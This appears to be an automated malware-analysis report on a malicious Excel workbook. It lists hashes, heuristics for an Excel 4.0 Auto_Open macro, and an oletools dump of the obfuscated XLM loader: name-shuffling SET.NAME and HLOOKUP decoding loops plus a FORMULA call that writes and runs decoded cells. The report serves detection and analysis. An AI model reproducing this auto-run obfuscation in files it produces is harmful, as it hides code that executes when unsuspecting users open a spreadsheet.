Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f3d00dab74736875…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:48 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 7ac510f15ba0269c9c933e3a522d5bcf SHA-1: 2b5808165ac0347ab1ba360e6138632266cca770 SHA-256: f3d00dab74736875342630ef81711e2402249e6be1b17975fddafa35d1b69a59
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6564 bytes
SHA-256: 8a904de8dac44f0fa70b4cdf136ecc06d6f4551bb6028fa4d9c59f94f901642b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DrdbpxD
' 0018     25 LABEL : Cell Value, String Constant - AIvvRgbDck len=0 
' 0018     21 LABEL : Cell Value, String Constant - aPdmmC len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G133 
' 0018     21 LABEL : Cell Value, String Constant - biOHSU len=0 
' 0018     24 LABEL : Cell Value, String Constant - DjmFBWBgb len=0 
' 0018     26 LABEL : Cell Value, String Constant - gZOCUQaZCtd len=0 
' 0018     26 LABEL : Cell Value, String Constant - IoRrjxrknoz len=0 
' 0018     24 LABEL : Cell Value, String Constant - kDnoijGTI len=0 
' 0018     22 LABEL : Cell Value, String Constant - LtudkQt len=0 
' 0018     26 LABEL : Cell Value, String Constant - NaiOUcyziuR len=0 
' 0018     25 LABEL : Cell Value, String Constant - ockPFnmjVH len=0 
' 0018     22 LABEL : Cell Value, String Constant - pHelGfj len=0 
' 0018     24 LABEL : Cell Value, String Constant - QqFKqPKQu len=0 
' 0018     22 LABEL : Cell Value, String Constant - SFTgGjR len=0 
' 0018     21 LABEL : Cell Value, String Constant - TOtwpy len=0 
' 0018     25 LABEL : Cell Value, String Constant - VFaWbzhvEf len=0 
' 0018     21 LABEL : Cell Value, String Constant - VVahml len=0 
' 0018     22 LABEL : Cell Value, String Constant - WbdeXfq len=0 
' 0018     26 LABEL : Cell Value, String Constant - XdnvQHriqps len=0 
' 0018     20 LABEL : Cell Value, String Constant - xsZOx len=0 
' 0018     26 LABEL : Cell Value, String Constant - YrwyiYJqfWl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DrdbpxD,G46,"SET.NAME("AIvvRgbDck",VALUE("0"))",""
'  DrdbpxD,G49,"SET.NAME("WbdeXfq",AIvvRgbDck)",""
'  DrdbpxD,G51,"SET.NAME("NaiOUcyziuR",AIvvRgbDck)",""
'  DrdbpxD,G55,"SET.NAME("VVahml",COUNTA(pHelGfj))",""
'  DrdbpxD,G57,"SET.NAME("TOtwpy",COUNTA(LtudkQt))",""
'  DrdbpxD,G61,[],""
'  DrdbpxD,G64,"SET.NAME("IoRrjxrknoz","")",""
'  DrdbpxD,G67,"WbdeXfq",""
'  DrdbpxD,G70,"SET.NAME("xsZOx",HLOOKUP("*",pHelGfj,WbdeXfq,FALSE))",""
'  DrdbpxD,G74,"gZOCUQaZCtd",""
'  DrdbpxD,G76,"SET.NAME("YrwyiYJqfWl",AIvvRgbDck)",""
'  DrdbpxD,G81,[],""
'  DrdbpxD,G86,"YrwyiYJqfWl",""
'  DrdbpxD,G89,"aPdmmC",""
'  DrdbpxD,G92,"DjmFBWBgb",""
'  DrdbpxD,G94,"biOHSU",""
'  DrdbpxD,G97,"SET.NAME("VFaWbzhvEf",VALUE(HLOOKUP("*",LtudkQt,biOHSU,FALSE)))",""
'  DrdbpxD,G102,"SFTgGjR",""
'  DrdbpxD,G106,"IoRrjxrknoz",""
'  DrdbpxD,G108,"NaiOUcyziuR",""
'  DrdbpxD,G113,NEXT(),""
'  DrdbpxD,G116,"ockPFnmjVH",""
'  DrdbpxD,G119,"SET.NAME("f",INT(T(FORMULA(T(IoRrjxrknoz)&"",""&T(ockPFnmjVH)))))",""
'  DrdbpxD,G122,"XdnvQHriqps",""
'  DrdbpxD,G126,NEXT(),""
'  DrdbpxD,G128,RETURN(),""
'  DrdbpxD,G159,"SET.NAME("QqFKqPKQu",G46)",""
'  DrdbpxD,G163,"pHelGfj",""
'  DrdbpxD,G165,"SET.NAME("LtudkQt",R97C11)",""
'  DrdbpxD,G167,"SET.NAME("XdnvQHriqps",175)",""
'  DrdbpxD,G172,"SET.NAME("kDnoijGTI",7)",""
'  DrdbpxD,G174,QqFKqPKQu(),""
'  DrdbpxD,G175,HALT(),""

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